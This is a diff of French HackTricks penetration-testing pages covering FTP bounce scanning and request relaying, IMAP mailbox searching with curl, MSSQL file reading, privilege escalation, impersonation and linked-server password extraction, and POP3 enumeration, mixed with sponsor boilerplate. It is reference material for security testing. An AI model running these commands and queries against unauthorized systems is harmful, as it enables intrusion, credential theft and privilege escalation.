* \*\*`PORT 127,0,0,1,0,80`\*\* Cela indiquera au serveur FTP d'établir une connexion avec l'IP 127.0.0.1 sur le port 80 (_vous devez mettre le 5e caractère comme "0" et le 6e comme le port en décimal ou utiliser le 5e et 6e pour exprimer le port en hexadécimal_).
* \*\*`PORT 127,0,0,1,0,80`\*\* Cela indiquera au serveur FTP d'établir une connexion avec l'IP 127.0.0.1 sur le port 80 (_vous devez mettre le 5e caractère en "0" et le 6e en port en décimal ou utiliser le 5e et 6e pour exprimer le port en hexadécimal_).
* \*\*`EPRT |2|127.0.0.1|80|`\*\* Cela indiquera au serveur FTP d'établir une connexion TCP (_indiqué par "2"_) avec l'IP 127.0.0.1 sur le port 80. Cette commande **prend en charge IPv6**.
* **`LIST`** Cela enverra la liste des fichiers dans le dossier actuel
* **`LIST -R`** Liste de manière récursive (si autorisé par le serveur)
* **`APPE /chemin/quelquechose.txt`** Cela indiquera au FTP de stocker les données reçues d'une connexion **passive** ou d'une connexion **PORT/EPRT** dans un fichier. Si le nom de fichier existe, il ajoutera les données.
* **`STOR /chemin/quelquechose.txt`** Comme `APPE` mais écrasera les fichiers
* **`STOU /chemin/quelquechose.txt`** Comme `APPE`, mais ne fera rien s'il existe.
* **`STOU /chemin/quelquechose.txt`** Comme `APPE`, mais ne fera rien s'il existe déjà.
* **`RETR /chemin/vers/fichier`** Une connexion passive ou de port doit être établie. Ensuite, le serveur FTP enverra le fichier indiqué via cette connexion
* **`REST 6`** Cela indiquera au serveur que la prochaine fois qu'il enverra quelque chose en utilisant `RETR`, il doit commencer au 6e octet.
* **`TYPE i`** Définir le transfert en binaire
@ -173,7 +173,7 @@ Certains serveurs FTP autorisent la commande PORT. Cette commande peut être uti
Vous pourriez également abuser de ce comportement pour faire interagir un serveur FTP avec d'autres protocoles. Vous pourriez **télécharger un fichier contenant une requête HTTP** et faire en sorte que le serveur FTP vulnérable **l'envoie à un serveur HTTP arbitraire** (_peut-être pour ajouter un nouvel utilisateur admin?_) ou même télécharger une requête FTP et faire en sorte que le serveur FTP vulnérable télécharge un fichier pour un autre serveur FTP.\
La théorie est simple :
1. **Téléchargez la requête (à l'intérieur d'un fichier texte) sur le serveur vulnérable.** N'oubliez pas que si vous souhaitez communiquer avec un autre serveur HTTP ou FTP, vous devez changer les lignes avec `0x0d 0x0a`
1. **Téléchargez la requête (à l'intérieur d'un fichier texte) sur le serveur vulnérable.** N'oubliez pas que si vous voulez communiquer avec un autre serveur HTTP ou FTP, vous devez changer les lignes avec `0x0d 0x0a`
2. **Utilisez `REST X` pour éviter d'envoyer les caractères que vous ne voulez pas envoyer** (peut-être pour télécharger la requête à l'intérieur du fichier, vous avez dû ajouter un en-tête d'image au début)
3. **Utilisez `PORT` pour vous connecter au serveur et au service arbitraires**
4. **Utilisez `RETR` pour envoyer la requête enregistrée au serveur.**
@ -186,7 +186,7 @@ Il est très probable que cela **génère une erreur comme** _**Socket not writa
posts.txt
{% endfile %}
* Essayez de **remplir la requête avec des données "junk" relatives au protocole** (en parlant à FTP peut-être juste des commandes junk ou répéter l'instruction `RETR` pour obtenir le fichier)
* Essayez de **remplir la requête avec des données "junk" relatives au protocole** (en parlant à FTP, peut-être juste des commandes junk ou répéter l'instruction `RETR` pour obtenir le fichier)
* Remplissez simplement la requête avec beaucoup de caractères nuls ou autres (divisés en lignes ou non)
Quoi qu'il en soit, voici un [ancien exemple sur la façon d'abuser de cela pour faire télécharger un fichier à un serveur FTP à partir d'un autre serveur FTP.](ftp-bounce-download-2oftp-file.md)
@ -225,7 +225,7 @@ La configuration par défaut de vsFTPd peut être trouvée dans `/etc/vsftpd.con
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -287,7 +287,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/ftp/anonymous; set RHOSTS {IP};
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou voulez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Travaillez-vous dans une **entreprise de cybersécurité**? Voulez-vous voir votre **entreprise annoncée dans HackTricks**? ou souhaitez-vous avoir accès à la **dernière version du PEASS ou télécharger HackTricks en PDF**? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**

View file

@ -14,22 +14,22 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
***
# FTP Bounce - Balayage
# Attaque de rebond FTP - Balayage
## Manuel
1. Se connecter au FTP vulnérable
2. Utiliser **`PORT`** ou **`EPRT`** (mais seulement l'un d'eux) pour établir une connexion avec l'_\<IP:Port>_ que vous souhaitez scanner :
2. Utiliser **`PORT`** ou **`EPRT`** (mais seulement l'un d'eux) pour établir une connexion avec l' _\<IP:Port>_ que vous souhaitez scanner :
`PORT 172,32,80,80,0,8080`\
`EPRT |2|172.32.80.80|8080|`
3. Utiliser **`LIST`** (cela enverra simplement à l'_\<IP:Port>_ connecté la liste des fichiers actuels dans le dossier FTP) et vérifier les réponses possibles : `150 File status okay` (Cela signifie que le port est ouvert) ou `425 No connection established` (Cela signifie que le port est fermé)
3. Utiliser **`LIST`** (cela enverra simplement à l' _\<IP:Port>_ connecté la liste des fichiers actuels dans le dossier FTP) et vérifier les réponses possibles : `150 File status okay` (Cela signifie que le port est ouvert) ou `425 No connection established` (Cela signifie que le port est fermé)
1. Au lieu de `LIST`, vous pourriez également utiliser **`RETR /fichier/dans/ftp`** et rechercher des réponses similaires `Ouvert/Fermé`.
Exemple utilisant **PORT** (le port 8080 de 172.32.80.80 est ouvert et le port 7777 est fermé) :
@ -52,7 +52,7 @@ nmap -v -p 21,22,445,80,443 -b ftp:ftp@10.2.1.5 192.168.0.1/24 #Scan the interna
```
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -10,13 +10,13 @@ Autres façons de soutenir HackTricks:
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -28,7 +28,7 @@ Le **protocole d'accès aux messages Internet (IMAP)** est conçu dans le but de
Par défaut, le protocole IMAP fonctionne sur deux ports :
* **Port 143** - il s'agit du port IMAP par défaut non chiffré
* **Port 143** - c'est le port IMAP par défaut non chiffré
* **Port 993** - c'est le port à utiliser si vous souhaitez vous connecter en utilisant IMAP de manière sécurisée
```
PORT STATE SERVICE REASON
@ -111,7 +111,7 @@ apt install evolution
### CURL
La navigation de base est possible avec [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mais la documentation est légère en détails, donc il est recommandé de vérifier la [source](https://github.com/curl/curl/blob/master/lib/imap.c) pour des détails précis.
La navigation de base est possible avec [CURL](https://ec.haxx.se/usingcurl/usingcurl-reademail#imap), mais la documentation est succincte, il est donc recommandé de consulter la [source](https://github.com/curl/curl/blob/master/lib/imap.c) pour des détails précis.
1. Listing mailboxes (commande imap `LIST "" "*")
```bash
@ -123,11 +123,11 @@ curl -k 'imaps://1.2.3.4/INBOX?ALL' --user user:pass
```
Le résultat de cette recherche est une liste d'indices de messages.
Il est également possible de fournir des termes de recherche plus complexes. Par exemple, rechercher des brouillons avec le mot de passe dans le corps du message :
Il est également possible de fournir des termes de recherche plus complexes. Par exemple, rechercher des brouillons avec le mot de passe dans le corps du mail :
```bash
curl -k 'imaps://1.2.3.4/Drafts?TEXT password' --user user:pass
```
Une bonne vue d'ensemble des termes de recherche possibles est située [ici](https://www.atmail.com/blog/imap-commands/).
Une bonne vue d'ensemble des termes de recherche possibles est disponible [ici](https://www.atmail.com/blog/imap-commands/).
3. Téléchargement d'un message (commande imap `SELECT Brouillons` puis `FETCH 1 BODY[]`)
```bash
@ -140,7 +140,7 @@ Il est également possible d'utiliser `UID` (identifiant unique) pour accéder a
curl -k 'imaps://1.2.3.4/INBOX' -X 'UID SEARCH ALL' --user user:pass
curl -k 'imaps://1.2.3.4/INBOX;UID=1' --user user:pass
```
De plus, il est possible de télécharger uniquement des parties d'un message, par exemple le sujet et l'expéditeur des 5 premiers messages (le `-v` est requis pour voir le sujet et l'expéditeur) :
De plus, il est possible de télécharger uniquement certaines parties d'un message, par exemple le sujet et l'expéditeur des 5 premiers messages (le `-v` est requis pour voir le sujet et l'expéditeur) :
```bash
$ curl -k 'imaps://1.2.3.4/INBOX' -X 'FETCH 1:5 BODY[HEADER.FIELDS (SUBJECT FROM)]' --user user:pass -v 2>&1 | grep '^<'
```
@ -156,13 +156,13 @@ done
* `port:143 CAPABILITY`
* `port:993 CAPABILITY`
**Groupe de sécurité Try Hard**
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
## Commandes automatiques HackTricks
## HackTricks Commandes Automatiques
```
Protocol_Name: IMAP #Protocol Abbreviation if there is one.
Port_Number: 143,993 #Comma separated if there is more than one.
@ -194,9 +194,9 @@ Command: msfconsole -q -x 'use auxiliary/scanner/imap/imap_version; set RHOSTS {
```
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert Red Team AWS de HackTricks)</strong></a><strong>!</strong></summary>
D'autres façons de soutenir HackTricks:
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)

View file

@ -2,21 +2,21 @@
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge HackTricks AWS)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -32,11 +32,11 @@ D'après [wikipedia](https://en.wikipedia.org/wiki/Microsoft\_SQL\_Server):
```
1433/tcp open ms-sql-s Microsoft SQL Server 2017 14.00.1000.00; RTM
```
### **Tables Systèmes MS-SQL par Défaut**
### **Tables Systèmes par Défaut de MS-SQL**
* **Base de données master**: Cette base de données est cruciale car elle capture tous les détails au niveau du système pour une instance de SQL Server.
* **Base de données msdb**: L'Agent SQL Server utilise cette base de données pour gérer la planification des alertes et des tâches.
* **Base de données model**: Agit comme un modèle pour chaque nouvelle base de données sur l'instance SQL Server, où toutes les modifications telles que la taille, la collation, le modèle de récupération, et plus encore sont reflétées dans les bases de données nouvellement créées.
* **Base de données model**: Sert de modèle pour chaque nouvelle base de données sur l'instance de SQL Server, où toutes les modifications telles que la taille, la collation, le modèle de récupération, et plus encore sont reflétées dans les bases de données nouvellement créées.
* **Base de données Resource**: Une base de données en lecture seule qui contient des objets système fournis avec SQL Server. Ces objets, bien qu'ils soient stockés physiquement dans la base de données Resource, sont présentés de manière logique dans le schéma sys de chaque base de données.
* **Base de données tempdb**: Sert de zone de stockage temporaire pour les objets transitoires ou les ensembles de résultats intermédiaires.
@ -158,11 +158,11 @@ SELECT * FROM sysusers
- **Base de données** Les exemples couvrent le rôle de base de données, les rôles d'application, le schéma, les certificats, les catalogues de texte intégral et les utilisateurs.
- **Schéma** Comprend les tables, les vues, les procédures, les fonctions, les synonymes, etc.
2. **Autorisation :** Associées aux sécurisables SQL Server, des autorisations telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des autorisations se fait à deux niveaux :
- Au niveau du **serveur** en utilisant des connexions
- Au niveau de la **base de données** en utilisant des utilisateurs
2. **Autorisation :** Associées aux sécurisables de SQL Server, des autorisations telles que ALTER, CONTROL et CREATE peuvent être accordées à un principal. La gestion des autorisations se fait à deux niveaux :
- Au **niveau du serveur** en utilisant des connexions
- Au **niveau de la base de données** en utilisant des utilisateurs
3. **Principal :** Ce terme fait référence à l'entité à qui des autorisations sont accordées pour un sécurisable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle de l'accès aux sécurisables s'effectue en accordant ou en refusant des autorisations ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
3. **Principal :** Ce terme fait référence à l'entité à qui des autorisations sont accordées pour un sécurisable. Les principaux incluent principalement les connexions et les utilisateurs de base de données. Le contrôle de l'accès aux sécurisables s'effectue par l'octroi ou le refus d'autorisations ou en incluant des connexions et des utilisateurs dans des rôles dotés de droits d'accès.
```sql
# Show all different securables names
SELECT distinct class_desc FROM sys.fn_builtin_permissions(DEFAULT);
@ -281,7 +281,7 @@ EXECUTE sp_OADestroy @OLE
```
### **Lire un fichier avec** OPENROWSET
Par défaut, `MSSQL` autorise la **lecture de n'importe quel fichier dans le système d'exploitation auquel le compte a accès en lecture**. Nous pouvons utiliser la requête SQL suivante :
Par défaut, `MSSQL` autorise la **lecture de n'importe quel fichier dans le système d'exploitation auquel le compte a un accès en lecture**. Nous pouvons utiliser la requête SQL suivante :
```sql
SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents
```
@ -320,7 +320,7 @@ GO
Microsoft SQL Server propose **plusieurs procédures stockées étendues** qui vous permettent d'interagir non seulement avec le réseau, mais aussi avec le système de fichiers et même le [**Registre Windows**](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)**:**
| **Régulier** | **Instance-Aware** |
| **Régulier** | **Conscient de l'instance** |
| ---------------------------- | -------------------------------------- |
| sys.xp\_regread | sys.xp\_instance\_regread |
| sys.xp\_regenumvalues | sys.xp\_instance\_regenumvalues |
@ -345,7 +345,7 @@ Pour **plus d'exemples**, consultez la [**source originale**](https://blog.wayne
### RCE avec la Fonction Définie par l'Utilisateur MSSQL - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
Il est possible de **charger un fichier .NET dans MSSQL avec des fonctions personnalisées**. Cependant, cela **nécessite un accès `dbo`** donc vous avez besoin d'une connexion avec la base de données **en tant que `sa` ou un rôle d'administrateur**.
Il est possible de **charger un fichier .NET dans MSSQL avec des fonctions personnalisées**. Cependant, cela **nécessite un accès `dbo`**, donc vous avez besoin d'une connexion avec la base de données **en tant que `sa` ou un rôle d'administrateur**.
[**Suivez ce lien**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) pour voir un exemple.
@ -354,11 +354,11 @@ Il est possible de **charger un fichier .NET dans MSSQL avec des fonctions perso
Il existe d'autres méthodes pour obtenir l'exécution de commandes, telles que l'ajout de [procédures stockées étendues](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [Assemblées CLR](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [Tâches de l'Agent SQL Server](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15), et [scripts externes](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql).
## Élévation de Privilèges MSSQL
## Élévation de privilèges MSSQL
### De db\_owner à sysadmin
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur administrateur** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **l'élévation de privilèges** car les **procédures stockées** créées peuvent s'**exécuter** en tant que propriétaire (**administrateur**).
Si un **utilisateur régulier** se voit attribuer le rôle **`db_owner`** sur la **base de données appartenant à un utilisateur administrateur** (tel que **`sa`**) et que cette base de données est configurée comme **`trustworthy`**, cet utilisateur peut abuser de ces privilèges pour **l'élévation de privilèges** car les **procédures stockées** créées peuvent s'exécuter en tant que propriétaire (**administrateur**).
```sql
# Get owners of databases
SELECT suser_sname(owner_sid) FROM sys.databases
@ -404,7 +404,7 @@ Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlSer
```
### Impersonation d'autres utilisateurs
SQL Server dispose d'une autorisation spéciale, nommée **`IMPERSONATE`**, qui **permet à l'utilisateur en cours d'exécution de prendre les permissions d'un autre utilisateur** ou connexion jusqu'à ce que le contexte soit réinitialisé ou que la session se termine.
SQL Server dispose d'une permission spéciale, nommée **`IMPERSONATE`**, qui **permet à l'utilisateur en cours d'exécution de prendre les permissions d'un autre utilisateur** ou de connexion jusqu'à ce que le contexte soit réinitialisé ou que la session se termine.
```sql
# Find users you can impersonate
SELECT distinct b.name
@ -447,7 +447,7 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
## Extraction de mots de passe à partir des serveurs liés SQL Server
## Extraction de mots de passe des serveurs liés SQL Server
Un attaquant peut extraire les mots de passe des serveurs liés SQL Server à partir des instances SQL et les obtenir en clair, accordant à l'attaquant des mots de passe pouvant être utilisés pour acquérir une empreinte plus importante sur la cible.
Le script pour extraire et décrypter les mots de passe stockés pour les serveurs liés peut être trouvé [ici](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
@ -463,14 +463,14 @@ Pour automatiser ces configurations, [ce dépôt](https://github.com/IamLeandroo
En plus d'avoir un script PowerShell pour chaque étape de la configuration, le dépôt contient également un script complet qui combine les scripts de configuration et l'extraction et le décryptage des mots de passe.
Pour plus d'informations, consultez les liens suivants concernant cette attaque :
[Décryptage des mots de passe des serveurs liés de base de données MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Décrypter les mots de passe des serveurs liés de la base de données MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[Résolution des problèmes de la connexion d'administration dédiée SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
## Élévation de privilèges locale
L'utilisateur exécutant le serveur MSSQL aura activé le jeton de privilège **SeImpersonatePrivilege.**\
Vous pourrez probablement **élever vers Administrateur** en suivant l'une de ces 2 pages :
Vous pourrez probablement **passer à un compte Administrateur** en suivant l'une de ces 2 pages :
{% content-ref url="../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md" %}
[roguepotato-and-printspoofer.md](../../windows-hardening/windows-local-privilege-escalation/roguepotato-and-printspoofer.md)
@ -495,7 +495,7 @@ Vous pourrez probablement **élever vers Administrateur** en suivant l'une de ce
* [https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -567,6 +567,6 @@ D'autres façons de soutenir HackTricks:
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -8,13 +8,13 @@
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PRs au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Partagez vos astuces de piratage en soumettant des PR aux** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,7 +24,7 @@
Le **Protocole de bureau de poste (POP)** est décrit comme un protocole dans le domaine des réseaux informatiques et d'Internet, utilisé pour l'extraction et la **récupération des e-mails à partir d'un serveur de messagerie distant**, les rendant accessibles sur l'appareil local. Positionné dans la couche d'application du modèle OSI, ce protocole permet aux utilisateurs de récupérer et recevoir des e-mails. Le fonctionnement des **clients POP** implique généralement d'établir une connexion avec le serveur de messagerie, de télécharger tous les messages, de stocker ces messages localement sur le système client, puis de les supprimer du serveur. Bien qu'il existe trois itérations de ce protocole, **POP3** se distingue comme la version la plus couramment utilisée.
**Ports par défaut:** 110, 995(ssl)
**Ports par défaut :** 110, 995(ssl)
```
PORT STATE SERVICE
110/tcp open pop3
@ -44,7 +44,7 @@ Vous pouvez utiliser la commande `CAPA` pour obtenir les capacités du serveur P
```bash
nmap --script "pop3-capabilities or pop3-ntlm-info" -sV -port <PORT> <IP> #All are default scripts
```
Le plugin `pop3-ntlm-info` renverra des données "**sensibles**" (versions de Windows).
Le plugin `pop3-ntlm-info` renverra des données "**sensibles**" (versions Windows).
### [Bruteforce POP3](../generic-methodologies-and-resources/brute-force.md#pop)
@ -66,7 +66,7 @@ CAPA Get capabilities
```
### Post Office Protocol (POP)
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials, sniff POP traffic for credentials, or perform a man-in-the-middle attack to intercept POP communications. Additionally, you can look for misconfigurations or vulnerabilities in the POP server that could lead to unauthorized access.
POP is a protocol used by email clients to retrieve emails from a mail server. During a penetration test, you can attempt to brute force POP credentials or use tools like Hydra to automate the process. Additionally, you can look for misconfigurations or vulnerabilities in the POP server that could be exploited to gain unauthorized access to emails.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready
@ -95,17 +95,17 @@ password: PA$$W0RD!Z
À partir de [https://academy.hackthebox.com/module/112/section/1073](https://academy.hackthebox.com/module/112/section/1073)
| **Paramètre** | **Description** |
| **Paramètre** | **Description** |
| ------------------------- | ----------------------------------------------------------------------------------------- |
| `auth_debug` | Active tous les journaux de débogage de l'authentification. |
| `auth_debug_passwords` | Ce paramètre ajuste la verbosité des journaux, les mots de passe soumis et le schéma sont enregistrés. |
| `auth_verbose` | Enregistre les tentatives d'authentification infructueuses et leurs raisons. |
| `auth_verbose_passwords` | Les mots de passe utilisés pour l'authentification sont enregistrés et peuvent également être tronqués. |
| `auth_debug` | Active tous les journaux de débogage de l'authentification. |
| `auth_debug_passwords` | Ce paramètre ajuste la verbosité des journaux, les mots de passe soumis et le schéma sont enregistrés. |
| `auth_verbose` | Enregistre les tentatives d'authentification infructueuses et leurs raisons. |
| `auth_verbose_passwords` | Les mots de passe utilisés pour l'authentification sont enregistrés et peuvent également être tronqués. |
| `auth_anonymous_username` | Cela spécifie le nom d'utilisateur à utiliser lors de la connexion avec le mécanisme SASL ANONYMOUS. |
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}

View file

@ -14,7 +14,7 @@
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -24,8 +24,8 @@
Les **Identifiants Relatifs (RID)** et les **Identifiants de Sécurité (SID)** sont des composants clés dans les systèmes d'exploitation Windows pour identifier et gérer de manière unique des objets, tels que des utilisateurs et des groupes, au sein d'un domaine réseau.
- Les **SID** servent d'identifiants uniques pour les domaines, garantissant que chaque domaine est distinguable.
